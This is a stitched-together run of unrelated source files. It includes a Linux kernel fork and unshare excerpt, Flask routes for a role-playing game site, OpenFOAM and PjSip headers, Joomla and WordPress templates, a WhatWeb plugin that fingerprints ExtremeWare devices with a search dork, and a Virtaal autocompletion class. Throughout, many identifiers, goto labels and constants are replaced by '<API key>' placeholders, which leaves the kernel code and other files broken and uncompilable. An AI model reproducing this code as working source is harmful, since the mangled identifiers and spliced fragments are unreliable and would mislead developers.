if (clone_flags & CLONE_PARENT_SETTID)
if (put_user(p->pid, parent_tidptr))
goto <API key>;
INIT_LIST_HEAD(&p->children);
INIT_LIST_HEAD(&p->sibling);
p->vfork_done = NULL;
spin_lock_init(&p->alloc_lock);
<API key>(p, TIF_SIGPENDING);
init_sigpending(&p->pending);
p->utime = cputime_zero;
p->stime = cputime_zero;
p->sched_time = 0;
#ifdef CONFIG_TASK_XACCT
p->rchar = 0; /* I/O counter: bytes read */
p->wchar = 0; /* I/O counter: bytes written */
p->syscr = 0; /* I/O counter: read syscalls */
p->syscw = 0; /* I/O counter: write syscalls */
#endif
<API key>(p);
<API key>(p);
p->it_virt_expires = cputime_zero;
p->it_prof_expires = cputime_zero;
p->it_sched_expires = 0;
INIT_LIST_HEAD(&p->cpu_timers[0]);
INIT_LIST_HEAD(&p->cpu_timers[1]);
INIT_LIST_HEAD(&p->cpu_timers[2]);
p->lock_depth = -1; /* -1 = no lock */
<API key>(&p->start_time);
p->security = NULL;
p->io_context = NULL;
p->io_wait = NULL;
p->audit_context = NULL;
cpuset_fork(p);
#ifdef CONFIG_NUMA
p->mempolicy = mpol_copy(p->mempolicy);
if (IS_ERR(p->mempolicy)) {
retval = PTR_ERR(p->mempolicy);
p->mempolicy = NULL;
goto <API key>;
}
<API key>(p);
#endif
#ifdef <API key>
p->irq_events = 0;
#ifdef <API key>
p->hardirqs_enabled = 1;
#else
p->hardirqs_enabled = 0;
#endif
p->hardirq_enable_ip = 0;
p-><API key> = 0;
p->hardirq_disable_ip = _THIS_IP_;
p-><API key> = 0;
p->softirqs_enabled = 1;
p->softirq_enable_ip = _THIS_IP_;
p-><API key> = 0;
p->softirq_disable_ip = 0;
p-><API key> = 0;
p->hardirq_context = 0;
p->softirq_context = 0;
#endif
#ifdef CONFIG_LOCKDEP
p->lockdep_depth = 0; /* no locks held yet */
p->curr_chain_key = 0;
p->lockdep_recursion = 0;
#endif
#ifdef <API key>
p->blocked_on = NULL; /* not blocked yet */
#endif
p->tgid = p->pid;
if (clone_flags & CLONE_THREAD)
p->tgid = current->tgid;
if ((retval = security_task_alloc(p)))
goto <API key>;
if ((retval = audit_alloc(p)))
goto <API key>;
/* copy all the process information */
if ((retval = copy_semundo(clone_flags, p)))
goto <API key>;
if ((retval = copy_files(clone_flags, p)))
goto <API key>;
if ((retval = copy_fs(clone_flags, p)))
goto <API key>;
if ((retval = copy_sighand(clone_flags, p)))
goto bad_fork_cleanup_fs;
if ((retval = copy_signal(clone_flags, p)))
goto <API key>;
if ((retval = copy_mm(clone_flags, p)))
goto <API key>;
if ((retval = copy_keys(clone_flags, p)))
goto bad_fork_cleanup_mm;
if ((retval = copy_namespaces(clone_flags, p)))
goto <API key>;
retval = copy_thread(0, clone_flags, stack_start, stack_size, p, regs);
if (retval)
goto <API key>;
p->set_child_tid = (clone_flags & CLONE_CHILD_SETTID) ? child_tidptr : NULL;
/*
* Clear TID on mm_release()?
*/
p->clear_child_tid = (clone_flags & <API key>) ? child_tidptr: NULL;
p->robust_list = NULL;
#ifdef CONFIG_COMPAT
p->compat_robust_list = NULL;
#endif
INIT_LIST_HEAD(&p->pi_state_list);
p->pi_state_cache = NULL;
/*
* sigaltstack should be cleared when sharing the same VM
*/
if ((clone_flags & (CLONE_VM|CLONE_VFORK)) == CLONE_VM)
p->sas_ss_sp = p->sas_ss_size = 0;
/*
* Syscall tracing should be turned off in the child regardless
* of CLONE_PTRACE.
*/
<API key>(p, TIF_SYSCALL_TRACE);
#ifdef TIF_SYSCALL_EMU
<API key>(p, TIF_SYSCALL_EMU);
#endif
/* Our parent execution domain becomes current domain
These must match for thread signalling to apply */
p->parent_exec_id = p->self_exec_id;
/* ok, now we should be set up.. */
p->exit_signal = (clone_flags & CLONE_THREAD) ? -1 : (clone_flags & CSIGNAL);
p->pdeath_signal = 0;
p->exit_state = 0;
/*
* Ok, make it visible to the rest of the system.
* We dont wake it up yet.
*/
p->group_leader = p;
INIT_LIST_HEAD(&p->thread_group);
INIT_LIST_HEAD(&p->ptrace_children);
INIT_LIST_HEAD(&p->ptrace_list);
/* Perform scheduler related setup. Assign this task to a CPU. */
sched_fork(p, clone_flags);
/* Need tasklist lock for parent etc handling! */
write_lock_irq(&tasklist_lock);
/* for sys_ioprio_set(IOPRIO_WHO_PGRP) */
p->ioprio = current->ioprio;
/*
* The task hasn't been attached yet, so its cpus_allowed mask will
* not be changed, nor will its assigned CPU.
*
* The cpus_allowed mask of the parent may have changed after it was
* copied first time - so re-copy it here, then check the child's CPU
* to ensure it is on a valid CPU (and if not, just force it back to
* parent's CPU). This avoids alot of nasty races.
*/
p->cpus_allowed = current->cpus_allowed;
if (unlikely(!cpu_isset(task_cpu(p), p->cpus_allowed) ||
!cpu_online(task_cpu(p))))
set_task_cpu(p, smp_processor_id());
/* CLONE_PARENT re-uses the old parent */
if (clone_flags & (CLONE_PARENT|CLONE_THREAD))
p->real_parent = current->real_parent;
else
p->real_parent = current;
p->parent = p->real_parent;
spin_lock(¤t->sighand->siglock);
/*
* Process group and session signals need to be delivered to just the
* parent before the fork or both the parent and the child after the
* fork. Restart if a signal comes in before we add the new process to
* it's process group.
* A fatal signal pending means that current will exit, so the new
* thread can't slip out of an OOM kill (or normal SIGKILL).
*/
recalc_sigpending();
if (signal_pending(current)) {
spin_unlock(¤t->sighand->siglock);
write_unlock_irq(&tasklist_lock);
retval = -ERESTARTNOINTR;
goto <API key>;
}
if (clone_flags & CLONE_THREAD) {
p->group_leader = current->group_leader;
list_add_tail_rcu(&p->thread_group, &p->group_leader->thread_group);
if (!cputime_eq(current->signal->it_virt_expires,
cputime_zero) ||
!cputime_eq(current->signal->it_prof_expires,
cputime_zero) ||
current->signal->rlim[RLIMIT_CPU].rlim_cur != RLIM_INFINITY ||
!list_empty(¤t->signal->cpu_timers[0]) ||
!list_empty(¤t->signal->cpu_timers[1]) ||
!list_empty(¤t->signal->cpu_timers[2])) {
/*
* Have child wake up on its first tick to check
* for process CPU timers.
*/
p->it_prof_expires = jiffies_to_cputime(1);
}
}
if (likely(p->pid)) {
add_parent(p);
if (unlikely(p->ptrace & PT_PTRACED))
__ptrace_link(p, current->parent);
if (thread_group_leader(p)) {
p->signal->tty = current->signal->tty;
p->signal->pgrp = process_group(current);
set_signal_session(p->signal, process_session(current));
attach_pid(p, PIDTYPE_PGID, task_pgrp(current));
attach_pid(p, PIDTYPE_SID, task_session(current));
list_add_tail_rcu(&p->tasks, &init_task.tasks);
__get_cpu_var(process_counts)++;
}
attach_pid(p, PIDTYPE_PID, pid);
nr_threads++;
}
total_forks++;
spin_unlock(¤t->sighand->siglock);
write_unlock_irq(&tasklist_lock);
proc_fork_connector(p);
/** Init the wait queue we added */
init_waitqueue_head(&p->join_queue);
return p;
<API key>:
<API key>(p);
<API key>:
exit_keys(p);
bad_fork_cleanup_mm:
if (p->mm)
mmput(p->mm);
<API key>:
cleanup_signal(p);
<API key>:
__cleanup_sighand(p->sighand);
bad_fork_cleanup_fs:
exit_fs(p); /* blocking */
<API key>:
exit_files(p); /* blocking */
<API key>:
exit_sem(p);
<API key>:
audit_free(p);
<API key>:
security_task_free(p);
<API key>:
#ifdef CONFIG_NUMA
mpol_free(p->mempolicy);
<API key>:
#endif
cpuset_exit(p);
<API key>:
delayacct_tsk_free(p);
if (p->binfmt)
module_put(p->binfmt->module);
<API key>:
module_put(task_thread_info(p)->exec_domain->module);
<API key>:
put_group_info(p->group_info);
atomic_dec(&p->user->processes);
free_uid(p->user);
bad_fork_free:
free_task(p);
fork_out:
return ERR_PTR(retval);
}
noinline struct pt_regs * __devinit __attribute__((weak)) idle_regs(struct pt_regs *regs)
{
memset(regs, 0, sizeof(struct pt_regs));
return regs;
}
struct task_struct * __cpuinit fork_idle(int cpu)
{
struct task_struct *task;
struct pt_regs regs;
task = copy_process(CLONE_VM, 0, idle_regs(®s), 0, NULL, NULL,
&init_struct_pid);
if (!IS_ERR(task))
init_idle(task, cpu);
return task;
}
static inline int fork_traceflag (unsigned clone_flags)
{
if (clone_flags & CLONE_UNTRACED)
return 0;
else if (clone_flags & CLONE_VFORK) {
if (current->ptrace & PT_TRACE_VFORK)
return PTRACE_EVENT_VFORK;
} else if ((clone_flags & CSIGNAL) != SIGCHLD) {
if (current->ptrace & PT_TRACE_CLONE)
return PTRACE_EVENT_CLONE;
} else if (current->ptrace & PT_TRACE_FORK)
return PTRACE_EVENT_FORK;
return 0;
}
/*
* Ok, this is the main fork-routine.
*
* It copies the process, and if successful kick-starts
* it and waits for it to finish using the VM if required.
*/
long do_fork(unsigned long clone_flags,
unsigned long stack_start,
struct pt_regs *regs,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr)
{
struct task_struct *p;
int trace = 0;
struct pid *pid = alloc_pid();
long nr;
if (!pid)
return -EAGAIN;
nr = pid->nr;
if (unlikely(current->ptrace)) {
trace = fork_traceflag (clone_flags);
if (trace)
clone_flags |= CLONE_PTRACE;
}
p = copy_process(clone_flags, stack_start, regs, stack_size, parent_tidptr, child_tidptr, pid);
/*
* Do this prior waking up the new thread - the thread pointer
* might get invalid after that point, if the thread exits quickly.
*/
if (!IS_ERR(p)) {
struct completion vfork;
if (clone_flags & CLONE_VFORK) {
p->vfork_done = &vfork;
init_completion(&vfork);
}
if ((p->ptrace & PT_PTRACED) || (clone_flags & CLONE_STOPPED)) {
/*
* We'll start up with an immediate SIGSTOP.
*/
sigaddset(&p->pending.signal, SIGSTOP);
set_tsk_thread_flag(p, TIF_SIGPENDING);
}
if (!(clone_flags & CLONE_STOPPED))
wake_up_new_task(p, clone_flags);
else
p->state = TASK_STOPPED;
if (unlikely (trace)) {
current->ptrace_message = nr;
ptrace_notify ((trace << 8) | SIGTRAP);
}
if (clone_flags & CLONE_VFORK) {
<API key>();
wait_for_completion(&vfork);
freezer_count();
if (unlikely (current->ptrace & PT_TRACE_VFORK_DONE)) {
current->ptrace_message = nr;
ptrace_notify ((<API key> << 8) | SIGTRAP);
}
}
} else {
free_pid(pid);
nr = PTR_ERR(p);
}
return nr;
}
#ifndef <API key>
#define <API key> 0
#endif
static void sighand_ctor(void *data, struct kmem_cache *cachep,
unsigned long flags)
{
struct sighand_struct *sighand = data;
spin_lock_init(&sighand->siglock);
INIT_LIST_HEAD(&sighand->signalfd_list);
}
void __init proc_caches_init(void)
{
sighand_cachep = kmem_cache_create("sighand_cache",
sizeof(struct sighand_struct), 0,
SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_DESTROY_BY_RCU,
sighand_ctor, NULL);
signal_cachep = kmem_cache_create("signal_cache",
sizeof(struct signal_struct), 0,
SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL, NULL);
files_cachep = kmem_cache_create("files_cache",
sizeof(struct files_struct), 0,
SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL, NULL);
fs_cachep = kmem_cache_create("fs_cache",
sizeof(struct fs_struct), 0,
SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL, NULL);
vm_area_cachep = kmem_cache_create("vm_area_struct",
sizeof(struct vm_area_struct), 0,
SLAB_PANIC, NULL, NULL);
mm_cachep = kmem_cache_create("mm_struct",
sizeof(struct mm_struct), <API key>,
SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL, NULL);
}
/*
* Check constraints on flags passed to the unshare system call and
* force unsharing of additional process context as appropriate.
*/
static inline void check_unshare_flags(unsigned long *flags_ptr)
{
/*
* If unsharing a thread from a thread group, must also
* unshare vm.
*/
if (*flags_ptr & CLONE_THREAD)
*flags_ptr |= CLONE_VM;
/*
* If unsharing vm, must also unshare signal handlers.
*/
if (*flags_ptr & CLONE_VM)
*flags_ptr |= CLONE_SIGHAND;
/*
* If unsharing signal handlers and the task was created
* using CLONE_THREAD, then must unshare the thread
*/
if ((*flags_ptr & CLONE_SIGHAND) &&
(atomic_read(¤t->signal->count) > 1))
*flags_ptr |= CLONE_THREAD;
/*
* If unsharing namespace, must also unshare filesystem information.
*/
if (*flags_ptr & CLONE_NEWNS)
*flags_ptr |= CLONE_FS;
}
/*
* Unsharing of tasks created with CLONE_THREAD is not supported yet
*/
static int unshare_thread(unsigned long unshare_flags)
{
if (unshare_flags & CLONE_THREAD)
return -EINVAL;
return 0;
}
/*
* Unshare the filesystem structure if it is being shared
*/
static int unshare_fs(unsigned long unshare_flags, struct fs_struct **new_fsp)
{
struct fs_struct *fs = current->fs;
if ((unshare_flags & CLONE_FS) &&
(fs && atomic_read(&fs->count) > 1)) {
*new_fsp = __copy_fs_struct(current->fs);
if (!*new_fsp)
return -ENOMEM;
}
return 0;
}
/*
* Unsharing of sighand is not supported yet
*/
static int unshare_sighand(unsigned long unshare_flags, struct sighand_struct **new_sighp)
{
struct sighand_struct *sigh = current->sighand;
if ((unshare_flags & CLONE_SIGHAND) && atomic_read(&sigh->count) > 1)
return -EINVAL;
else
return 0;
}
/*
* Unshare vm if it is being shared
*/
static int unshare_vm(unsigned long unshare_flags, struct mm_struct **new_mmp)
{
struct mm_struct *mm = current->mm;
if ((unshare_flags & CLONE_VM) &&
(mm && atomic_read(&mm->mm_users) > 1)) {
return -EINVAL;
}
return 0;
}
/*
* Unshare file descriptor table if it is being shared
*/
static int unshare_fd(unsigned long unshare_flags, struct files_struct **new_fdp)
{
struct files_struct *fd = current->files;
int error = 0;
if ((unshare_flags & CLONE_FILES) &&
(fd && atomic_read(&fd->count) > 1)) {
*new_fdp = dup_fd(fd, &error);
if (!*new_fdp)
return error;
}
return 0;
}
/*
* Unsharing of semundo for tasks created with CLONE_SYSVSEM is not
* supported yet
*/
static int unshare_semundo(unsigned long unshare_flags, struct sem_undo_list **new_ulistp)
{
if (unshare_flags & CLONE_SYSVSEM)
return -EINVAL;
return 0;
}
/*
* unshare allows a process to 'unshare' part of the process
* context which was originally shared using clone. copy_*
* functions used by do_fork() cannot be used here directly
* because they modify an inactive task_struct that is being
* constructed. Here we are modifying the current, active,
* task_struct.
*/
asmlinkage long sys_unshare(unsigned long unshare_flags)
{
int err = 0;
struct fs_struct *fs, *new_fs = NULL;
struct sighand_struct *new_sigh = NULL;
struct mm_struct *mm, *new_mm = NULL, *active_mm = NULL;
struct files_struct *fd, *new_fd = NULL;
struct sem_undo_list *new_ulist = NULL;
struct nsproxy *new_nsproxy = NULL, *old_nsproxy = NULL;
check_unshare_flags(&unshare_flags);
/* Return -EINVAL for all unsupported flags */
err = -EINVAL;
if (unshare_flags & ~(CLONE_THREAD|CLONE_FS|CLONE_NEWNS|CLONE_SIGHAND|
CLONE_VM|CLONE_FILES|CLONE_SYSVSEM|
CLONE_NEWUTS|CLONE_NEWIPC))
goto bad_unshare_out;
if ((err = unshare_thread(unshare_flags)))
goto bad_unshare_out;
if ((err = unshare_fs(unshare_flags, &new_fs)))
goto <API key>;
if ((err = unshare_sighand(unshare_flags, &new_sigh)))
goto <API key>;
if ((err = unshare_vm(unshare_flags, &new_mm)))
goto <API key>;
if ((err = unshare_fd(unshare_flags, &new_fd)))
goto <API key>;
if ((err = unshare_semundo(unshare_flags, &new_ulist)))
goto <API key>;
if ((err = <API key>(unshare_flags, &new_nsproxy,
new_fs)))
goto <API key>;
if (new_fs || new_mm || new_fd || new_ulist || new_nsproxy) {
task_lock(current);
if (new_nsproxy) {
old_nsproxy = current->nsproxy;
current->nsproxy = new_nsproxy;
new_nsproxy = old_nsproxy;
}
if (new_fs) {
fs = current->fs;
current->fs = new_fs;
new_fs = fs;
}
if (new_mm) {
mm = current->mm;
active_mm = current->active_mm;
current->mm = new_mm;
current->active_mm = new_mm;
activate_mm(active_mm, new_mm);
new_mm = mm;
}
if (new_fd) {
fd = current->files;
current->files = new_fd;
new_fd = fd;
}
task_unlock(current);
}
if (new_nsproxy)
put_nsproxy(new_nsproxy);
<API key>:
<API key>:
if (new_fd)
put_files_struct(new_fd);
<API key>:
if (new_mm)
mmput(new_mm);
<API key>:
if (new_sigh)
if (atomic_dec_and_test(&new_sigh->count))
kmem_cache_free(sighand_cachep, new_sigh);
<API key>:
if (new_fs)
put_fs_struct(new_fs);
<API key>:
bad_unshare_out:
return err;
}
|
import random
import time
from flask import (
request,
session,
flash,
redirect,
url_for,
Response,
render_template,
)
from NossiPack.Cards import Cards
from NossiPack.User import Userlist
from NossiPack.VampireCharacter import VampireCharacter
from NossiPack.krypta import DescriptiveError
from NossiSite.base import app as defaultapp, log
from NossiSite.helpers import checklogin
def register(app=None):
if app is None:
app = defaultapp
@app.route("/setfromsource/")
def setfromsource():
checklogin()
source = request.args.get("source")
ul = Userlist()
u = ul.loaduserbyname(session.get("user"))
try:
new = VampireCharacter()
if new.setfromdalines(source[-7:]):
u.sheetid = u.savesheet(new)
ul.saveuserlist()
flash("character has been overwritten with provided Dalines sheet!")
else:
flash("problem with " + source)
except Exception:
log.exception("setfromsource:")
flash(
"Sorry "
+ session.get("user").capitalize()
+ ", I can not let you do that."
)
return redirect(url_for("charsheet"))
@app.route("/timetest")
def timetest():
return str(time.time())
@app.route("/boardgame<int:size>_<seed>.json")
@app.route("/boardgame<int:size>_.json")
def boardgamemap(size, seed=""):
if size > 100:
size = 100
rx = random.Random()
if seed:
rx.seed(str(size) + str(seed))
def r(a=4):
for _ in range(a):
yield rx.randint(1, 10)
def e(inp, dif):
for i in inp:
yield 2 if i == 10 else (1 if i >= dif else 0)
def fpik(inp, pref="FPIK"):
vals = list(inp)
vals = [(v if v != 2 else (2 if sum(vals) < 4 else 1)) for v in vals]
for i, p in enumerate(pref):
yield '"' + p + '": ' + str(vals[i])
def cell(): # i, j):
difficulty = 8
"""6 + (
(9 if i == j else
8)
if i in [0, size - 1] and j in [0, size - 1] else
(7 if j in [0, size - 1] else
(6 if j % 2 == 1 and (i in [0, size - 1] or j in [0, size - 1]) else
(5 if 0 < i < size - 1 else 8))))"""
for li in fpik(e(r(), difficulty)):
yield li
first = True
def notfirst():
nonlocal first
if first:
first = False
return True
return False
def resetfirst():
nonlocal first
first = True
def generate():
yield '{"board": ['
for x in range(size):
yield ("," if not first else "") + "["
resetfirst()
for y in range(size):
yield ("" if notfirst() else ",") + '{ "x":%d, "y":%d, ' % (
x,
y,
) + ",".join(
cell(
# x, y
)
) + "}"
yield "]"
yield "]}"
return Response(generate(), mimetype="text/json")
@app.route("/gameboard/<int:size>/")
@app.route("/gameboard/<int:size>/<seed>")
def gameboard(size, seed=""):
if size > 20:
size = 20
return render_template("gameboard.html", size=size, seed=seed)
@app.route("/chargen/standard")
def standardchar():
return redirect(
url_for("chargen", a=3, b=5, c=7, abia=5, abib=9, abic=13, shuffle=1)
)
@app.route("/cards/", methods=["GET"])
@app.route("/cards/<command>", methods=["POST", "GET"])
def cards(command: str = None):
checklogin()
deck = Cards.getdeck(session["user"])
try:
if request.method == "GET":
if command is None:
return deck.serialized_parts
elif request.method == "POST":
par = request.get_json()["parameter"]
if command == "draw":
return {"result": list(deck.draw(par))}
elif command == "spend":
return {"result": list(deck.spend(par))}
elif command == "returnfun":
return {"result": list(deck.pilereturn(par))}
elif command == "dedicate":
if ":" not in par:
par += ":"
return {"result": list(deck.dedicate(*par.split(":", 1)))}
elif command == "remove":
return {"result": list(deck.remove(par))}
elif command == "free":
message = deck.undedicate(par)
for m in message:
flash("Affected Dedication: " + m)
return {"result": "ok", "messages": list(message)}
elif command == "free":
affected, message = deck.free(par)
for m in message:
flash("Affected Dedication: " + m)
return {
"result": list(affected),
"messages": message,
}
else:
return {"result": "error", "error": f"invalid command {command}"}
return render_template("cards.html", cards=deck)
except DescriptiveError as e:
return {"result": "error", "error": e.args[0]}
except TypeError:
return {"result": "error", "error": "Parameter is not in a valid Format"}
finally:
Cards.savedeck(session["user"], deck)
@app.route("/chargen", methods=["GET", "POST"])
def chargen_menu():
if request.method == "POST":
f = dict(request.form)
if not f.get("vampire", None):
return redirect(
url_for(
"chargen",
a=f["a"],
b=f["b"],
c=f["c"],
abia=f["abia"],
abib=f["abib"],
abic=f["abic"],
shuffle=1 if f.get("shuffle", 0) else 0,
)
)
return redirect(
url_for(
"chargen",
a=f["a"],
b=f["b"],
c=f["c"],
abia=f["abia"],
abib=f["abib"],
abic=f["abic"],
shuffle=1 if f["shuffle"] else 0,
vamp=f["discipline"],
back=f["back"],
)
)
return render_template("generate_dialog.html")
@app.route("/chargen/<a>,<b>,<c>,<abia>,<abib>,<abic>,<shuffle>")
@app.route("/chargen/<a>,<b>,<c>,<abia>,<abib>,<abic>,<shuffle>,<vamp>,<back>")
def chargen(a, b, c, abia, abib, abic, shuffle, vamp=None, back=None):
"""
Redirects to the charactersheet/ editor(if logged in) of a randomly
generated character
:param a: points to be allocated in the first attribute group
:param b: points to be allocated in the second attribute group
:param c: points to be allocated in the third attribute group
:param abia: points to be allocated in the first ability group
:param abib: points to be allocated in the second ability group
:param abic: points to be allocated in the third ability group
:param shuffle: if the first/second/third groups should be shuffled (each)
:param vamp: if not None, character will be a vampire, int(vamp)
is the amount of discipline points
:param back: background points
"""
try:
char = VampireCharacter.makerandom(
1,
5,
int(a),
int(b),
int(c),
int(abia),
int(abib),
int(abic),
int(shuffle),
)
print(vamp)
if vamp is not None:
char.makevamprandom(vamp, back)
print(char.getdictrepr())
if session.get("logged_in", False):
return render_template(
"vampsheet_editor.html",
character=char.getdictrepr(),
Clans=VampireCharacter.get_clans(),
Backgrounds=VampireCharacter.get_backgrounds(),
New=True,
)
return render_template("vampsheet.html", character=char.getdictrepr())
except Exception as e:
flash("ERROR" + "\n".join(e.args))
raise
|
#include "floatScalar.H"
#include "IOstreams.H"
#include <sstream>
#define Scalar floatScalar
#define ScalarVSMALL floatScalarVSMALL
#define readScalar readFloatScalar
#include "Scalar.C"
#undef Scalar
#undef ScalarVSMALL
#undef readScalar
|
#pragma once
#include <pjsua2\endpoint.hpp>
namespace Nequeo {
namespace Net {
namespace Android {
namespace PjSip
{
typedef void(*<API key>)(const pj::<API key>&);
typedef void(*<API key>)(const pj::<API key>&);
typedef void(*<API key>)(const pj::<API key>&);
typedef void(*OnTimer_Function)(const pj::OnTimerParam&);
typedef void(*<API key>)(pj::<API key>&);
<summary>
Endpoint callbacks.
</summary>
class EndpointInterface : public pj::Endpoint
{
public:
<summary>
Endpoint callbacks.
</summary>
EndpointInterface();
<summary>
Endpoint callbacks.
</summary>
virtual ~EndpointInterface();
};
}
}
}
}
|
<?php
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Actionlogs\Administrator\Helper\ActionlogsHelper;
/** @var PrivacyViewRequest $this */
HTMLHelper::_('behavior.formvalidator');
HTMLHelper::_('behavior.keepalive');
?>
<form action="<?php echo Route::_('index.php?option=com_privacy&view=request&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" class="form-validate" data-cancel-task="request.cancel">
<div class="row mt-3">
<div class="col-12 col-md-6 mb-3">
<div class="card">
<h3 class="card-header"><?php echo Text::_('<API key>'); ?></h3>
<div class="card-body">
<dl class="dl-horizontal">
<dt><?php echo Text::_('JGLOBAL_EMAIL'); ?>:</dt>
<dd><?php echo $this->item->email; ?></dd>
<dt><?php echo Text::_('JSTATUS'); ?>:</dt>
<dd><?php echo HTMLHelper::_('privacy.statusLabel', $this->item->status); ?></dd>
<dt><?php echo Text::_('<API key>'); ?>:</dt>
<dd><?php echo Text::_('<API key>' . $this->item->request_type); ?></dd>
<dt><?php echo Text::_('<API key>'); ?>:</dt>
<dd><?php echo HTMLHelper::_('date', $this->item->requested_at, Text::_('DATE_FORMAT_LC6')); ?></dd>
</dl>
</div>
</div>
</div>
<div class="col-12 col-md-6 mb-3">
<div class="card">
<h3 class="card-header"><?php echo Text::_('<API key>'); ?></h3>
<div class="card-body">
<?php if (empty($this->actionlogs)) : ?>
<div class="alert alert-info">
<span class="fa fa-info-circle" aria-hidden="true"></span><span class="sr-only"><?php echo Text::_('INFO'); ?></span>
<?php echo Text::_('<API key>'); ?>
</div>
<?php else : ?>
<table class="table table-striped table-hover">
<thead>
<th>
<?php echo Text::_('<API key>'); ?>
</th>
<th>
<?php echo Text::_('COM_ACTIONLOGS_DATE'); ?>
</th>
<th>
<?php echo Text::_('COM_ACTIONLOGS_NAME'); ?>
</th>
</thead>
<tbody>
<?php foreach ($this->actionlogs as $i => $item) : ?>
<tr class="row<?php echo $i % 2; ?>">
<td>
<?php echo ActionlogsHelper::<API key>($item); ?>
</td>
<td>
<?php echo HTMLHelper::_('date', $item->log_date, Text::_('DATE_FORMAT_LC6')); ?>
</td>
<td>
<?php echo $item->name; ?>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php endif;?>
</div>
</div>
</div>
</div>
<input type="hidden" name="task" value="" />
<?php echo HTMLHelper::_('form.token'); ?>
</form>
|
# This file is part of WhatWeb and may be subject to
# web site for more information on licensing and terms of use.
Plugin.define do
name "ExtremeWare"
authors [
"Brendan Coles <bcoles@gmail.com>", # 2011-11-21
]
version "0.1"
description "Extreme Networks ExtremeWare device"
website "http:
# ShodanHQ results as at 2011-11-21 #
# 250 for ExtremeWare
# Google results as at 2011-11-21 #
# 50 for intitle:"ExtremeWare Management Interface"
# Dorks #
dorks [
'intitle:"ExtremeWare Management Interface"'
]
# Matches #
matches [
# Version Detection # HTTP Server Header
{ :search=>"headers[server]", :version=>/^ExtremeWare\/([^\s]+)$/ },
# /Images/extremelogan
{ :md5=>"<API key>", :url=>"/Images/extremelogan" },
{ :md5=>"<API key>", :url=>"/Images/extremelogan" },
# / # Title
{ :text=>'<title>ExtremeWare Management Interface</title>' },
# /extremetop # Logo HTML
{ :text=>'<center><img src="Images/extremelogan"><a href="extremebasepage" target="_top"><h2>Logon</h2></a><P><P><TABLE BORDER="0"><TR><TD NOWRAP><TT><FONT COLOR="#000000">' },
]
end
|
<?php get_header(); ?>
<div id="content" class="grid_9 <?php echo of_get_option('blog_sidebar_pos') ?>">
<?php include_once (TEMPLATEPATH . '/title.php');?>
<?php
if (have_posts()) : while (have_posts()) : the_post();
// The following determines what the post format is and shows the correct file accordingly
$format = get_post_format();
get_template_part( 'includes/post-formats/'.$format );
if($format == '')
get_template_part( 'includes/post-formats/standard' );
endwhile; else:
?>
<div class="no-results">
<?php echo '<p><strong>' . __('There has been an error.', 'theme1762') . '</strong></p>'; ?>
<p><?php _e('We apologize for any inconvenience, please', 'theme1762'); ?> <a href="<?php bloginfo('url'); ?>/" title="<?php bloginfo('description'); ?>"><?php _e('return to the home page', 'theme1762'); ?></a> <?php _e('or use the search form below.', 'theme1762'); ?></p>
<?php get_search_form(); /* outputs the default Wordpress search form */ ?>
</div><!--no-results
<?php endif; ?>
<?php get_template_part('includes/post-formats/post-nav'); ?>
</div><!--#content-->
<?php get_sidebar(); ?>
<?php get_footer(); ?>
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This file is part of Virtaal.
# This program is free software; you can redistribute it and/or modify
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
"""Contains the AutoCompletor class."""
import gobject
import re
try:
from collections import defaultdict
except ImportError:
class defaultdict(dict):
def __init__(self, default_factory=lambda: None):
self.__factory = default_factory
def __getitem__(self, key):
if key in self:
return super(defaultdict, self).__getitem__(key)
else:
return self.__factory()
from virtaal.controllers.baseplugin import BasePlugin
from virtaal.views.widgets.textbox import TextBox
class AutoCompletor(object):
"""
Does auto-completion of registered words in registered widgets.
"""
wordsep_re = re.compile(r'\W+', re.UNICODE)
MAX_WORDS = 10000
<API key> = 4 # The default minimum length of a word that may
# be auto-completed.
def __init__(self, main_controller, word_list=[], comp_len=<API key>):
"""Constructor.
@type word_list: iterable
@param word_list: A list of words that should be auto-completed."""
self.main_controller = main_controller
assert isinstance(word_list, list)
self.comp_len = comp_len
self._word_list = []
self._word_freq = defaultdict(lambda: 0)
self.add_words(word_list)
self.widgets = set()
def add_widget(self, widget):
"""Add a widget to the list of widgets to do auto-completion for."""
if widget in self.widgets:
return # Widget already added
if isinstance(widget, TextBox):
self._add_text_box(widget)
return
raise ValueError("Widget type %s not supported." % (type(widget)))
def add_words(self, words, update=True):
"""Add a word or words to the list of words to auto-complete."""
for word in words:
if self.isusable(word):
self._word_freq[word] += 1
if update:
self._update_word_list()
def <API key>(self, units):
"""Collect all words from the given translation units to use for
auto-completion.
@type units: list
@param units: The translation units to collect words from.
"""
for unit in units:
target = unit.target
if not target:
continue
self.add_words(self.wordsep_re.split(target), update=False)
if len(self._word_freq) > self.MAX_WORDS:
break
self._update_word_list()
def autocomplete(self, word):
for w in self._word_list:
if w.startswith(word):
return w, w[len(word):]
return None, u''
def clear_widgets(self):
"""Release all registered widgets from the spell of auto-completion."""
for w in set(self.widgets):
self.remove_widget(w)
def clear_words(self):
"""Remove all registered words; effectively turns off auto-completion."""
self._word_freq = []
self._word_list = defaultdict(lambda: 0)
def isusable(self, word):
"""Returns a value indicating if the given word should be kept as a
suggestion for autocomplete."""
return len(word) > self.comp_len + 2
def remove_widget(self, widget):
"""Remove a widget (currently only L{TextBox}s are accepted) from
the list of widgets to do auto-correction for.
"""
if isinstance(widget, TextBox) and widget in self.widgets:
self._remove_textbox(widget)
def remove_words(self, words):
"""Remove a word or words from the list of words to auto-complete."""
if isinstance(words, basestring):
del self._word_freq[words]
self._word_list.remove(words)
else:
for w in words:
try:
del self._word_freq[w]
self._word_list.remove(w)
except KeyError:
pass
def _add_text_box(self, textbox):
"""Add the given L{TextBox} to the list of widgets to do auto-
correction on."""
if not hasattr(self, '_textbox_insert_ids'):
self._textbox_insert_ids = {}
handler_id = textbox.connect('text-inserted', self._on_insert_text)
self._textbox_insert_ids[textbox] = handler_id
